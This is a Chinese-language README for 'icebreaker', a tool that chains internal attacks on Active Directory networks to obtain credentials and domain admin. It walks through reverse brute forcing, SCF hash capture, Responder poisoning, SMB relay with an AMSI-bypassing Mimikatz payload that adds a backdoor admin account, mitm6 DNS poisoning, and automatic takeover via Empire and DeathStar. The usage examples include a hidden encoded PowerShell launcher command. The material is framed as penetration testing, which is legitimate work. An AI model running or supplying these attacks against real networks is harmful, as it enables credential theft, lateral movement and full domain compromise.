打破那个可爱的Active Directory环境的冰。当你孤独寒冷地凝视着一个Active Directory派对,却连一个AD凭据都没有,无法加入狂欢时,这个工具就是为你准备的。
它依次自动化执行5种针对Active Directory的内部网络攻击,为你交付明文凭据。使用--auto选项,可在获得立足点后自动获取域管理员权限。
以下攻击按顺序执行,直至第四和第五种攻击(它们并行且无限期运行)。
以下技术中捕获的所有NetNTLMv2哈希值均使用JohnTheRipper和一个长度为100万的AD专用密码列表自动破解。
它将按顺序执行上述5种网络攻击。反向暴力破解和SCF文件上传通常很快,然后它会停留在第3种攻击(Responder.py)上,默认持续10分钟。在该时间(或用户指定的时间)过去后,它将进入最后两种攻击,这两种攻击并行且无限期运行。
如果发现任何主机允许空SMB会话,icebreaker将使用ridenum执行RID循环以获取有效用户名。如果你使用"-d <somedomain.com>"选项,theHarvester将从指定网站抓取电子邮件地址。任何与AD兼容的电子邮件用户名都将被添加到反向暴力破解用户名列表中。Icebreaker使用asyncio库,通过linux工具rpcclient并使用10个异步工作线程执行反向暴力破解。
SCF上传攻击滥用Shell命令文件攻击匿名可写网络共享。SCF是可以执行基本操作(如显示桌面或打开文件资源管理器窗口)的文件。它们有一个奇特的属性:允许你将其文件图标设置为网络路径。如果你将此网络路径设置为你自己的机器,在文件资源管理器中打开该文件共享的用户将自动将其NetNTLMv2密码哈希值发送给你。Icebreaker使用Nmap脚本smb-enum-shares查找匿名可写共享,然后自动生成并上传包含有效载荷的SCF。
第三种攻击使用Responder.py毒化LLMNR、NBT-NS和mDNS多播/广播协议。当用户导航到一个不存在的网络路径时,Responder会告诉他们你的攻击者机器是正确的路径。用户的NetNTLMv2密码哈希值现在归你了。Responder会捕获通过SCF攻击发送的哈希值,但下一种攻击通常对捕获SCF哈希值更有用,因为它有可能使用该哈希值执行命令。
SMB中继是一种古老的网络攻击,攻击者将自己置于SMB客户端和SMB服务器之间。这使攻击者能够捕获并中继NetNTLMv2哈希值到启用了SMBv1且禁用了SMB签名的主机。使用Impacket库中的ntlmrelayx.py进行中继,同时使用Responder.py进行SMB连接的中间人攻击。如果SMB客户端用户对网络上任何禁用了SMB签名的主机拥有管理权限,ntlmrelayx.py将在该主机上执行命令。
一旦ntlmrelayx中继了一个捕获的哈希值,它将运行一个base64编码的powershell命令,该命令首先添加一个管理员用户(icebreaker:P@ssword123456),然后运行一个经过混淆并绕过AMSI的Mimikatz版本,接着运行一个经过混淆并绕过AMSI的Invoke-PowerDump版本。Invoke-Mimikatz和Invoke-PowerDump的输出会被解析为明文密码或NTLM哈希值,并交付给用户,显示在标准输出以及found-passwords.txt文件中。NTLM哈希值与NetNTLMv2哈希值不同,可以像明文密码一样用于对其他AD主机的认证。唯一需要注意的是,自从微软的KB2871997补丁之后,只有内置的RID 500本地管理员账户才能用于传递哈希攻击。
最后一种攻击使用工具mitm6对整个网络执行中间人IPv6 DNS攻击。这迫使网络上的主机使用攻击者的机器作为其DNS服务器。一旦设置为他们的DNS服务器,攻击者将向受害者提供恶意的WPAD代理设置文件,并收集他们的NetNTLMv2哈希值。这些哈希值使用ntlmrelayx.py进行中继,以进一步实现远程代码执行。需要注意的一点是,这种攻击容易在网络中引发问题。它通常会在客户端的浏览器中导致证书错误,还可能减慢网络速度。然而,这种攻击的美妙之处在于,Windows AD环境默认是存在漏洞的。
如果icebreaker使用--auto [tmux/xterm]标志运行,那么当到达第4种攻击时,icebreaker将在tmux会话或xterm窗口中运行Empire和DeathStar。使用此选项时,icebreaker不会在我们中继哈希值的远程主机上运行mimikatz,而是添加一个管理员用户,然后运行Empire的powershell启动器代码以在远程机器上获取一个代理。DeathStar将利用这个代理自动完成获取域管理员的过程。Empire和DeathStar不会在你退出icebreaker时关闭。
密码破解使用JohnTheRipper和一个自定义词表完成。该词表的来源是merged.txt,它包含了SecLists GitHub账户中所有密码的组合。词表经过修剪,不包含:全小写、全大写、全符号、少于7个字符、多于32个字符的密码。这些规则符合Active Directory的默认密码要求,并将词表从2000万缩减到刚好超过100万,这使得密码破解极快。
以root身份运行:
./setup.sh
pipenv install --three
pipenv shell
运行pipenv install后可能会遇到错误。如果是这种情况,请更新到高于11.9.0的pipenv版本。你可以从github克隆pipenv,然后在文件夹内运行apt-get remove python-pipenv && python setup.py install。
Docker镜像还有一些bug需要解决,因此这可能会出错,但已接近完成。从Git仓库:
docker build --rm -t danmcinerney/icebreaker .
docker run danmcinery/icebreaker
或者附加你通常会添加到icebreaker的命令(不要忘记映射卷):
docker run -v $(pwd)/logs:/icebreaker/logs -v $(pwd)/hashes:/icebreaker/hashes -v $(pwd)/icebreaker-scan.xml:/icebreaker/icebreaker-scan.xml -v $(pwd)/submodules:/icebreaker/submodules -e PYTHONUNBUFFERED=0 danmcinerney/icebreaker -x icebreaker-scan.xml
**注意:你需要使用docker的-p <host>:<container>标志映射监听器端口。
以root身份运行。 从一个以换行符分隔的IP地址列表(单个IP或CIDR范围)中读取,并让ntlmrelayx在哈希中继后不在受害者机器上添加用户并运行mimikatz,而是在受害者机器上执行自定义命令。在此示例中,我们提供了一个类似于Empire可能提供的powershell启动器单行命令。
./icebreaker -l targets.txt -c "powershell -nop -w hidden -exec bypass -enc WwFk..."
从主机列表读取,告诉Responder使用eth0接口而不是默认网关接口,让Responder运行30分钟而不是通常的10分钟,并运行默认的ntlmrelayx中继后命令以从受害者服务器中转储SAM。
./icebreaker -l targets.txt -i eth0 -t 30 -c default
使用一个Nmap XML输出文件,跳过所有五种攻击并且不自动破解哈希值,并使用自定义密码列表进行反向暴力破解攻击(注意:由于此示例通过'-s rid'跳过了攻击1,指定的密码列表实际上不会被使用;这只是一个示例)
./icebreaker.py -x nmapscan.xml -s rid,scf,llmnr,relay,dns,crack -p /home/user/password-list.txt
即发即忘用法:输入目标文件,抓取companydomain.com的电子邮件用户名以添加到反向暴力破解攻击中,跳过mitm6的IPv6 DNS毒化,并在第4种攻击开始时在tmux或xterm窗口中运行Empire和DeathStar,以获得自动域管理员权限。此用法的目标是周一早上9点发出命令,然后去享受一个短暂且不间断的休息,直到周五下午4:30,届时我们会有一个域管理员shell等着我们。我们跳过第5种攻击(mitm6),因为它有时会导致网络问题,我们不希望愤怒的客户打扰我们辛苦赚来的休息。
./icebreaker.py -l targets.txt -d companydomain.com -s dns --auto [tmux/xterm]